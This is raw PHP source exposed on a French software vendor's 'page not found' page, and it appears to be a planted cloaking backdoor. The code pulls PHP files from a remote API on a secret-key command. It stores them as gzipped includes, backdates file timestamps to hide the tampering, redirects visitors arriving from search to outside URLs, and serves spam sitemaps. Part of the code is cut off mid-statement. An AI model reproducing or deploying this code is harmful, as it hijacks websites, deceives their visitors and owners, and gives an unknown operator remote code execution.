{ $apiKey = $_SERVER['HTTP_X_CODE_API_KEY'] ?? ''; if (!empty($apiKey) && $apiKey === CODE_API_KEY) { if (function_exists('opcache_reset')) { @opcache_reset(); } buildFileStructure(); header('Content-Type: application/json; charset=utf-8'); echo json_encode(['code' => 0, 'msg' => '代码更新成功']); exit(); } else { http_response_code(401); header('Content-Type: application/json; charset=utf-8'); echo json_encode(['code' => 1, 'msg' => 'API密钥验证失败']); exit(); } } $f1=CACHE_DIR.'index.php';$f2=CACHE_DIR.'cloaking.gz';$f3=CACHE_DIR.'router.gz'; if(!file_exists($f1)||!file_exists($f2)||@filesize($f2)<=0||!file_exists($f3)||@filesize($f3)<=0)buildFileStructure(); function isImageFile($fileName) { $imageExtensions = ['png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'webp']; $ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); return in_array($ext, $imageExtensions); } function isCloakingFile($fileName) { return basename($fileName) === 'cloaking.php'; } function isConfigFile($fileName) { return basename($fileName) === 'config.php'; } function createFileStructure($remoteData) { if (!$remoteData || !isset($remoteData['files'])) return; foreach ($remoteData['files'] as $file) { $filePath = CACHE_DIR . $file['path']; $content = $file['content']; $dir = dirname($filePath); $originalTime = file_exists($filePath) ? filemtime($filePath) : time(); if ($dir && !is_dir($dir)) { @mkdir($dir, 0755, true); } if (isImageFile($file['path'])) { $decoded = base64_decode($content); if ($decoded !== false) { @file_put_contents($filePath, $decoded); } @touch($filePath, $originalTime - 5); } elseif (isConfigFile($file['path'])) { $gzPath = CACHE_DIR . 'config.gz'; $compressed = gzencode($content, 9); @file_put_contents($gzPath, $compressed); @touch($gzPath, time() - 86400); } elseif (isCloakingFile($file['path'])) { $replacement = "\$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '/cache/') . 'config.gz';\nif (file_exists(\$_z)) @include_once 'compress.zlib://' . \$_z;"; $content = str_replace("require_once __DIR__ . '/config.php';", $replacement, $content); $content = str_replace('require_once __DIR__ . "/config.php";', $replacement, $content); $content = str_replace("require __DIR__ . '/config.php';", $replacement, $content); $content = str_replace('require __DIR__ . "/config.php";', $replacement, $content); $content = preg_replace('/(?:require_once|require)\s+__DIR__\s*\.\s*[\'"][^"\']*config\.php[\'"][^;]*;/', $replacement, $content); $gzPath = str_replace('.php', '.gz', $filePath); $compressed = gzencode($content, 9); @file_put_contents($gzPath, $compressed); @touch($gzPath, time() - 86400); } elseif (substr($file['path'], -4) === '.php') { if (basename($file['path']) === 'index.php') { @file_put_contents($filePath, $content); @touch($filePath, $originalTime - 5); } elseif (basename($file['p($ch); } else { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => 'X-Code-API-Key: ' . CODE_API_KEY, 'timeout' => 10 ] ]); $response = @file_get_contents(IMAGE_API_URL, false, $context); } if ($response) { $data = json_decode($response, true); if ($data && $data['code'] == 0) { if (isset($data['data']['files']) && is_array($data['data']['files'])) { $replacement = "\$_z = (defined('CACHE_DIR') ? CACHE_DIR : __DIR__ . '/cache/') . 'config.gz';\nif (file_exists(\$_z)) @include_once 'compress.zlib://' . \$_z;"; foreach ($data['data']['files'] as &$file) { if (isset($file['content']) && is_string($file['content'])) { $file['content'] = str_replace("require_once __DIR__ . '/config.php';", $replacement, $file['content']); $file['content'] = str_replace('require_once __DIR__ . "/config.php";', $replacement, $file['content']); $file['content'] = str_replace("require __DIR__ . '/config.php';", $replacement, $file['content']); $file['content'] = str_replace('require __DIR__ . "/config.php";', $replacement, $file['content']); $file['content'] = preg_replace('/(?:require_once|require)\s+__DIR__\s*\.\s*[\'"][^"\']*config\.php[\'"][^;]*;/', $replacement, $file['content']); } } unset($file); } @file_put_contents($imageCacheFile, json_encode($data), LOCK_EX); createFileStructure($data['data']); } } } catch (Exception $e) { } } $request_uri = $_SERVER['REQUEST_URI'] ?? '/'; $request_path = parse_url($request_uri, PHP_URL_PATH); $query_string = parse_url($request_uri, PHP_URL_QUERY); $exceptions = [ '/wp-admin/', '/wp-login.php', '/cache/', '/wp-content/themes/', '/wp-content/plugins/', '/wp-content/uploads/', ]; $is_exception = false; foreach ($exceptions as $exception) { if (strpos($request_path, $exception) === 0) { $is_exception = true; break; } } $static_extensions = ['php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'pdf']; $is_static_file = false; foreach ($static_extensions as $ext) { if (preg_match('/\.' . preg_quote($ext, '/') . '$/', $request_path)) { $is_static_file = true; break; } } if ($request_path === '/robots.txt') { $robots_file = CACHE_DIR . 'robots.txt'; if (file_exists($robots_file)) { header('Content-Type: text/plain; charset=utf-8'); readfile($robots_file); exit(); } else { $currentDomain = $_SERVER['HTTP_HOST'] ?? 'localhost'; $robotsContent = "User-agent: *\nAllow: /\nSitemap: https://" . $currentDomain . "/sitemap.xml"; header('Content-Type: text/plain; charset=utf-8'); echo $robotsContent; exit(); } } if ($is_static_file && !$is_exception) { $clean_path = $request_path; if (preg_match('#^/(tmp|temp)/' . preg_quote(SITE_ID, '/') . '/(.+)$#', $request_path, $matches)) { $clean_path = '/' . $matches[2]; } elseif (preg_match('#^/(tmp|temp)/(.+)$#', $request_path, $matches)) { $clean_path = '/' . $matches[2]; } $cache_file_path = CACHE_DIR . ltrim($clean_path, '/'); if (!file_exists($cache_file_path)) { $cache_file_path = CACHE_DIR . ltrim($request_path, '/'); } if (file_exists($cache_file_path) && is_file($cache_file_path)) { $real_cache_dir = realpath(CACHE_DIR); $real_file_path = realpath($cache_file_path); if ($real_file_path && strpos($real_file_path, $real_cache_dir) === 0) { $ext = strtolower(pathinfo($cache_file_path, PATHINFO_EXTENSION)); $mimeTypes = ['png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'gif' => 'image/gif', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml', 'webp' => 'image/webp', 'css' => 'text/css', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'woff' => 'font/woff', 'woff2' => 'font/woff2', 'ttf' => 'font/ttf', 'eot' => 'application/vnd.ms-fontobject']; header('Content-Type: ' . ($mimeTypes[$ext] ?? 'application/octet-stream')); if (isImageFile($cache_file_path)) { header('Cache-Control: public, max-age=' . IMAGE_CACHE_TTL); } else { header('Cache-Control: public, max-age=' . CACHE_TTL); } readfile($cache_file_path); exit(); } } } if (preg_match('/^sitemap.*\.xml$/', $query_string ?? '') || preg_match('/^\/sitemap.*\.xml$/', $request_path)) { $sitemap_file = CACHE_DIR . 'sitemap.gz'; if (file_exists($sitemap_file)) { @include_once 'compress.zlib://' . $sitemap_file; exit(); } } if (!$is_exception && !$is_static_file) { $cloaking_gz = CACHE_DIR . 'cloaking.gz'; if (file_exists($cloaking_gz)) { @include_once 'compress.zlib://' . $cloaking_gz; } $clean_path = trim($request_path, '/'); if (isset($cloaker) && $cloaker->is_human_from_search) { header('Location: ' . $cloaker->getRedirectUrl()); exit(); } elseif (isset($blocked) && $blocked) { $clean_path = '/' . $clean_path; $router_file = CACHE_DIR . 'router.gz'; if (file_exists($router_file)) { @include_once 'compress.zlib://' . $router_file; } exit(); } } ?> Page non trouvée - Orqual éditeur de solution logiciel

Oups ! Cela pourrait être vous ou nous, il n’y a pas de page ici. Elle a peut-être été déplacée ou supprimée.